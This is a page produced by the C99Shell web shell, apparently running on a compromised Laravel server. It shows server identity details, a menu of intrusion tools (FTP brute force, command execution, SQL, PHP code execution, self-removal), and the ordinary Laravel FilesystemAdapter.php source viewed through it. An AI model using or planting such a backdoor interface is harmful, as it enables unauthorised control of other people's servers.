!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/laravel/framework/src/Illuminate/Filesystem/   drwxr-xr-x
Free 13.09 GB of 57.97 GB (22.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FilesystemAdapter.php (21.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Filesystem;

use 
Illuminate\Contracts\Filesystem\Cloud as CloudFilesystemContract;
use 
Illuminate\Contracts\Filesystem\FileExistsException as ContractFileExistsException;
use 
Illuminate\Contracts\Filesystem\FileNotFoundException as ContractFileNotFoundException;
use 
Illuminate\Contracts\Filesystem\Filesystem as FilesystemContract;
use 
Illuminate\Http\File;
use 
Illuminate\Http\UploadedFile;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Str;
use 
InvalidArgumentException;
use 
League\Flysystem\Adapter\Ftp;
use 
League\Flysystem\Adapter\Local as LocalAdapter;
use 
League\Flysystem\AdapterInterface;
use 
League\Flysystem\AwsS3v3\AwsS3Adapter;
use 
League\Flysystem\Cached\CachedAdapter;
use 
League\Flysystem\FileExistsException;
use 
League\Flysystem\FileNotFoundException;
use 
League\Flysystem\FilesystemInterface;
use 
League\Flysystem\Sftp\SftpAdapter as Sftp;
use 
PHPUnit\Framework\Assert as PHPUnit;
use 
Psr\Http\Message\StreamInterface;
use 
Psr\Http\Message\UriInterface;
use 
RuntimeException;
use 
Symfony\Component\HttpFoundation\StreamedResponse;

/**
 * @mixin \League\Flysystem\FilesystemInterface
 */
class FilesystemAdapter implements CloudFilesystemContract
{
    
/**
     * The Flysystem filesystem implementation.
     *
     * @var \League\Flysystem\FilesystemInterface
     */
    
protected $driver;

    
/**
     * Create a new filesystem adapter instance.
     *
     * @param  \League\Flysystem\FilesystemInterface  $driver
     * @return void
     */
    
public function __construct(FilesystemInterface $driver)
    {
        
$this->driver $driver;
    }

    
/**
     * Assert that the given file exists.
     *
     * @param  string|array  $path
     * @param  string|null  $content
     * @return $this
     */
    
public function assertExists($path$content null)
    {
        
$paths Arr::wrap($path);

        foreach (
$paths as $path) {
            
PHPUnit::assertTrue(
                
$this->exists($path), "Unable to find a file at path [{$path}]."
            
);

            if (! 
is_null($content)) {
                
$actual $this->get($path);

                
PHPUnit::assertSame(
                    
$content,
                    
$actual,
                    
"File [{$path}] was found, but content [{$actual}] does not match [{$content}]."
                
);
            }
        }

        return 
$this;
    }

    
/**
     * Assert that the given file does not exist.
     *
     * @param  string|array  $path
     * @return $this
     */
    
public function assertMissing($path)
    {
        
$paths Arr::wrap($path);

        foreach (
$paths as $path) {
            
PHPUnit::assertFalse(
                
$this->exists($path), "Found unexpected file at path [{$path}]."
            
);
        }

        return 
$this;
    }

    
/**
     * Determine if a file exists.
     *
     * @param  string  $path
     * @return bool
     */
    
public function exists($path)
    {
        return 
$this->driver->has($path);
    }

    
/**
     * Determine if a file or directory is missing.
     *
     * @param  string  $path
     * @return bool
     */
    
public function missing($path)
    {
        return ! 
$this->exists($path);
    }

    
/**
     * Get the full path for the file at the given "short" path.
     *
     * @param  string  $path
     * @return string
     */
    
public function path($path)
    {
        
$adapter $this->driver->getAdapter();

        if (
$adapter instanceof CachedAdapter) {
            
$adapter $adapter->getAdapter();
        }

        return 
$adapter->getPathPrefix().$path;
    }

    
/**
     * Get the contents of a file.
     *
     * @param  string  $path
     * @return string
     *
     * @throws \Illuminate\Contracts\Filesystem\FileNotFoundException
     */
    
public function get($path)
    {
        try {
            return 
$this->driver->read($path);
        } catch (
FileNotFoundException $e) {
            throw new 
ContractFileNotFoundException($e->getMessage(), $e->getCode(), $e);
        }
    }

    
/**
     * Create a streamed response for a given file.
     *
     * @param  string  $path
     * @param  string|null  $name
     * @param  array|null  $headers
     * @param  string|null  $disposition
     * @return \Symfony\Component\HttpFoundation\StreamedResponse
     */
    
public function response($path$name null, array $headers = [], $disposition 'inline')
    {
        
$response = new StreamedResponse;

        
$filename $name ?? basename($path);

        
$disposition $response->headers->makeDisposition(
            
$disposition$filename$this->fallbackName($filename)
        );

        
$response->headers->replace($headers + [
            
'Content-Type' => $this->mimeType($path),
            
'Content-Length' => $this->size($path),
            
'Content-Disposition' => $disposition,
        ]);

        
$response->setCallback(function () use ($path) {
            
$stream $this->readStream($path);
            
fpassthru($stream);
            
fclose($stream);
        });

        return 
$response;
    }

    
/**
     * Create a streamed download response for a given file.
     *
     * @param  string  $path
     * @param  string|null  $name
     * @param  array|null  $headers
     * @return \Symfony\Component\HttpFoundation\StreamedResponse
     */
    
public function download($path$name null, array $headers = [])
    {
        return 
$this->response($path$name$headers'attachment');
    }

    
/**
     * Convert the string to ASCII characters that are equivalent to the given name.
     *
     * @param  string  $name
     * @return string
     */
    
protected function fallbackName($name)
    {
        return 
str_replace('%'''Str::ascii($name));
    }

    
/**
     * Write the contents of a file.
     *
     * @param  string  $path
     * @param  string|resource  $contents
     * @param  mixed  $options
     * @return bool
     */
    
public function put($path$contents$options = [])
    {
        
$options is_string($options)
                     ? [
'visibility' => $options]
                     : (array) 
$options;

        
// If the given contents is actually a file or uploaded file instance than we will
        // automatically store the file using a stream. This provides a convenient path
        // for the developer to store streams without managing them manually in code.
        
if ($contents instanceof File ||
            
$contents instanceof UploadedFile) {
            return 
$this->putFile($path$contents$options);
        }

        if (
$contents instanceof StreamInterface) {
            return 
$this->driver->putStream($path$contents->detach(), $options);
        }

        return 
is_resource($contents)
                ? 
$this->driver->putStream($path$contents$options)
                : 
$this->driver->put($path$contents$options);
    }

    
/**
     * Store the uploaded file on the disk.
     *
     * @param  string  $path
     * @param  \Illuminate\Http\File|\Illuminate\Http\UploadedFile|string  $file
     * @param  mixed  $options
     * @return string|false
     */
    
public function putFile($path$file$options = [])
    {
        
$file is_string($file) ? new File($file) : $file;

        return 
$this->putFileAs($path$file$file->hashName(), $options);
    }

    
/**
     * Store the uploaded file on the disk with a given name.
     *
     * @param  string  $path
     * @param  \Illuminate\Http\File|\Illuminate\Http\UploadedFile|string  $file
     * @param  string  $name
     * @param  mixed  $options
     * @return string|false
     */
    
public function putFileAs($path$file$name$options = [])
    {
        
$stream fopen(is_string($file) ? $file $file->getRealPath(), 'r');

        
// Next, we will format the path of the file and store the file using a stream since
        // they provide better performance than alternatives. Once we write the file this
        // stream will get closed automatically by us so the developer doesn't have to.
        
$result $this->put(
            
$path trim($path.'/'.$name'/'), $stream$options
        
);

        if (
is_resource($stream)) {
            
fclose($stream);
        }

        return 
$result $path false;
    }

    
/**
     * Get the visibility for the given path.
     *
     * @param  string  $path
     * @return string
     */
    
public function getVisibility($path)
    {
        if (
$this->driver->getVisibility($path) == AdapterInterface::VISIBILITY_PUBLIC) {
            return 
FilesystemContract::VISIBILITY_PUBLIC;
        }

        return 
FilesystemContract::VISIBILITY_PRIVATE;
    }

    
/**
     * Set the visibility for the given path.
     *
     * @param  string  $path
     * @param  string  $visibility
     * @return bool
     */
    
public function setVisibility($path$visibility)
    {
        return 
$this->driver->setVisibility($path$this->parseVisibility($visibility));
    }

    
/**
     * Prepend to a file.
     *
     * @param  string  $path
     * @param  string  $data
     * @param  string  $separator
     * @return bool
     */
    
public function prepend($path$data$separator PHP_EOL)
    {
        if (
$this->exists($path)) {
            return 
$this->put($path$data.$separator.$this->get($path));
        }

        return 
$this->put($path$data);
    }

    
/**
     * Append to a file.
     *
     * @param  string  $path
     * @param  string  $data
     * @param  string  $separator
     * @return bool
     */
    
public function append($path$data$separator PHP_EOL)
    {
        if (
$this->exists($path)) {
            return 
$this->put($path$this->get($path).$separator.$data);
        }

        return 
$this->put($path$data);
    }

    
/**
     * Delete the file at a given path.
     *
     * @param  string|array  $paths
     * @return bool
     */
    
public function delete($paths)
    {
        
$paths is_array($paths) ? $paths func_get_args();

        
$success true;

        foreach (
$paths as $path) {
            try {
                if (! 
$this->driver->delete($path)) {
                    
$success false;
                }
            } catch (
FileNotFoundException $e) {
                
$success false;
            }
        }

        return 
$success;
    }

    
/**
     * Copy a file to a new location.
     *
     * @param  string  $from
     * @param  string  $to
     * @return bool
     */
    
public function copy($from$to)
    {
        return 
$this->driver->copy($from$to);
    }

    
/**
     * Move a file to a new location.
     *
     * @param  string  $from
     * @param  string  $to
     * @return bool
     */
    
public function move($from$to)
    {
        return 
$this->driver->rename($from$to);
    }

    
/**
     * Get the file size of a given file.
     *
     * @param  string  $path
     * @return int
     */
    
public function size($path)
    {
        return 
$this->driver->getSize($path);
    }

    
/**
     * Get the mime-type of a given file.
     *
     * @param  string  $path
     * @return string|false
     */
    
public function mimeType($path)
    {
        return 
$this->driver->getMimetype($path);
    }

    
/**
     * Get the file's last modification time.
     *
     * @param  string  $path
     * @return int
     */
    
public function lastModified($path)
    {
        return 
$this->driver->getTimestamp($path);
    }

    
/**
     * Get the URL for the file at the given path.
     *
     * @param  string  $path
     * @return string
     *
     * @throws \RuntimeException
     */
    
public function url($path)
    {
        
$adapter $this->driver->getAdapter();

        if (
$adapter instanceof CachedAdapter) {
            
$adapter $adapter->getAdapter();
        }

        if (
method_exists($adapter'getUrl')) {
            return 
$adapter->getUrl($path);
        } elseif (
method_exists($this->driver'getUrl')) {
            return 
$this->driver->getUrl($path);
        } elseif (
$adapter instanceof AwsS3Adapter) {
            return 
$this->getAwsUrl($adapter$path);
        } elseif (
$adapter instanceof Ftp || $adapter instanceof Sftp) {
            return 
$this->getFtpUrl($path);
        } elseif (
$adapter instanceof LocalAdapter) {
            return 
$this->getLocalUrl($path);
        } else {
            throw new 
RuntimeException('This driver does not support retrieving URLs.');
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function readStream($path)
    {
        try {
            return 
$this->driver->readStream($path) ?: null;
        } catch (
FileNotFoundException $e) {
            throw new 
ContractFileNotFoundException($e->getMessage(), $e->getCode(), $e);
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function writeStream($path$resource, array $options = [])
    {
        try {
            return 
$this->driver->writeStream($path$resource$options);
        } catch (
FileExistsException $e) {
            throw new 
ContractFileExistsException($e->getMessage(), $e->getCode(), $e);
        }
    }

    
/**
     * Get the URL for the file at the given path.
     *
     * @param  \League\Flysystem\AwsS3v3\AwsS3Adapter  $adapter
     * @param  string  $path
     * @return string
     */
    
protected function getAwsUrl($adapter$path)
    {
        
// If an explicit base URL has been set on the disk configuration then we will use
        // it as the base URL instead of the default path. This allows the developer to
        // have full control over the base path for this filesystem's generated URLs.
        
if (! is_null($url $this->driver->getConfig()->get('url'))) {
            return 
$this->concatPathToUrl($url$adapter->getPathPrefix().$path);
        }

        return 
$adapter->getClient()->getObjectUrl(
            
$adapter->getBucket(), $adapter->getPathPrefix().$path
        
);
    }

    
/**
     * Get the URL for the file at the given path.
     *
     * @param  string  $path
     * @return string
     */
    
protected function getFtpUrl($path)
    {
        
$config $this->driver->getConfig();

        return 
$config->has('url')
                ? 
$this->concatPathToUrl($config->get('url'), $path)
                : 
$path;
    }

    
/**
     * Get the URL for the file at the given path.
     *
     * @param  string  $path
     * @return string
     */
    
protected function getLocalUrl($path)
    {
        
$config $this->driver->getConfig();

        
// If an explicit base URL has been set on the disk configuration then we will use
        // it as the base URL instead of the default path. This allows the developer to
        // have full control over the base path for this filesystem's generated URLs.
        
if ($config->has('url')) {
            return 
$this->concatPathToUrl($config->get('url'), $path);
        }

        
$path '/storage/'.$path;

        
// If the path contains "storage/public", it probably means the developer is using
        // the default disk to generate the path instead of the "public" disk like they
        // are really supposed to use. We will remove the public from this path here.
        
if (Str::contains($path'/storage/public/')) {
            return 
Str::replaceFirst('/public/''/'$path);
        }

        return 
$path;
    }

    
/**
     * Get a temporary URL for the file at the given path.
     *
     * @param  string  $path
     * @param  \DateTimeInterface  $expiration
     * @param  array  $options
     * @return string
     *
     * @throws \RuntimeException
     */
    
public function temporaryUrl($path$expiration, array $options = [])
    {
        
$adapter $this->driver->getAdapter();

        if (
$adapter instanceof CachedAdapter) {
            
$adapter $adapter->getAdapter();
        }

        if (
method_exists($adapter'getTemporaryUrl')) {
            return 
$adapter->getTemporaryUrl($path$expiration$options);
        } elseif (
$adapter instanceof AwsS3Adapter) {
            return 
$this->getAwsTemporaryUrl($adapter$path$expiration$options);
        } else {
            throw new 
RuntimeException('This driver does not support creating temporary URLs.');
        }
    }

    
/**
     * Get a temporary URL for the file at the given path.
     *
     * @param  \League\Flysystem\AwsS3v3\AwsS3Adapter  $adapter
     * @param  string  $path
     * @param  \DateTimeInterface  $expiration
     * @param  array  $options
     * @return string
     */
    
public function getAwsTemporaryUrl($adapter$path$expiration$options)
    {
        
$client $adapter->getClient();

        
$command $client->getCommand('GetObject'array_merge([
            
'Bucket' => $adapter->getBucket(),
            
'Key' => $adapter->getPathPrefix().$path,
        ], 
$options));

        
$uri $client->createPresignedRequest(
            
$command$expiration
        
)->getUri();

        
// If an explicit base URL has been set on the disk configuration then we will use
        // it as the base URL instead of the default path. This allows the developer to
        // have full control over the base path for this filesystem's generated URLs.
        
if (! is_null($url $this->driver->getConfig()->get('temporary_url'))) {
            
$uri $this->replaceBaseUrl($uri$url);
        }

        return (string) 
$uri;
    }

    
/**
     * Concatenate a path to a URL.
     *
     * @param  string  $url
     * @param  string  $path
     * @return string
     */
    
protected function concatPathToUrl($url$path)
    {
        return 
rtrim($url'/').'/'.ltrim($path'/');
    }

    
/**
     * Replace the scheme, host and port of the given UriInterface with values from the given URL.
     *
     * @param  \Psr\Http\Message\UriInterface  $uri
     * @param  string  $url
     * @return \Psr\Http\Message\UriInterface
     */
    
protected function replaceBaseUrl($uri$url)
    {
        
$parsed parse_url($url);

        return 
$uri
            
->withScheme($parsed['scheme'])
            ->
withHost($parsed['host'])
            ->
withPort($parsed['port'] ?? null);
    }

    
/**
     * Get an array of all files in a directory.
     *
     * @param  string|null  $directory
     * @param  bool  $recursive
     * @return array
     */
    
public function files($directory null$recursive false)
    {
        
$contents $this->driver->listContents($directory$recursive);

        return 
$this->filterContentsByType($contents'file');
    }

    
/**
     * Get all of the files from the given directory (recursive).
     *
     * @param  string|null  $directory
     * @return array
     */
    
public function allFiles($directory null)
    {
        return 
$this->files($directorytrue);
    }

    
/**
     * Get all of the directories within a given directory.
     *
     * @param  string|null  $directory
     * @param  bool  $recursive
     * @return array
     */
    
public function directories($directory null$recursive false)
    {
        
$contents $this->driver->listContents($directory$recursive);

        return 
$this->filterContentsByType($contents'dir');
    }

    
/**
     * Get all (recursive) of the directories within a given directory.
     *
     * @param  string|null  $directory
     * @return array
     */
    
public function allDirectories($directory null)
    {
        return 
$this->directories($directorytrue);
    }

    
/**
     * Create a directory.
     *
     * @param  string  $path
     * @return bool
     */
    
public function makeDirectory($path)
    {
        return 
$this->driver->createDir($path);
    }

    
/**
     * Recursively delete a directory.
     *
     * @param  string  $directory
     * @return bool
     */
    
public function deleteDirectory($directory)
    {
        return 
$this->driver->deleteDir($directory);
    }

    
/**
     * Flush the Flysystem cache.
     *
     * @return void
     */
    
public function flushCache()
    {
        
$adapter $this->driver->getAdapter();

        if (
$adapter instanceof CachedAdapter) {
            
$adapter->getCache()->flush();
        }
    }

    
/**
     * Get the Flysystem driver.
     *
     * @return \League\Flysystem\FilesystemInterface
     */
    
public function getDriver()
    {
        return 
$this->driver;
    }

    
/**
     * Filter directory contents by type.
     *
     * @param  array  $contents
     * @param  string  $type
     * @return array
     */
    
protected function filterContentsByType($contents$type)
    {
        return 
Collection::make($contents)
            ->
where('type'$type)
            ->
pluck('path')
            ->
values()
            ->
all();
    }

    
/**
     * Parse the given visibility value.
     *
     * @param  string|null  $visibility
     * @return string|null
     *
     * @throws \InvalidArgumentException
     */
    
protected function parseVisibility($visibility)
    {
        if (
is_null($visibility)) {
            return;
        }

        switch (
$visibility) {
            case 
FilesystemContract::VISIBILITY_PUBLIC:
                return 
AdapterInterface::VISIBILITY_PUBLIC;
            case 
FilesystemContract::VISIBILITY_PRIVATE:
                return 
AdapterInterface::VISIBILITY_PRIVATE;
        }

        throw new 
InvalidArgumentException("Unknown visibility: {$visibility}.");
    }

    
/**
     * Pass dynamic methods call onto Flysystem.
     *
     * @param  string  $method
     * @param  array  $parameters
     * @return mixed
     *
     * @throws \BadMethodCallException
     */
    
public function __call($method, array $parameters)
    {
        return 
$this->driver->{$method}(...array_values($parameters));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0075 ]--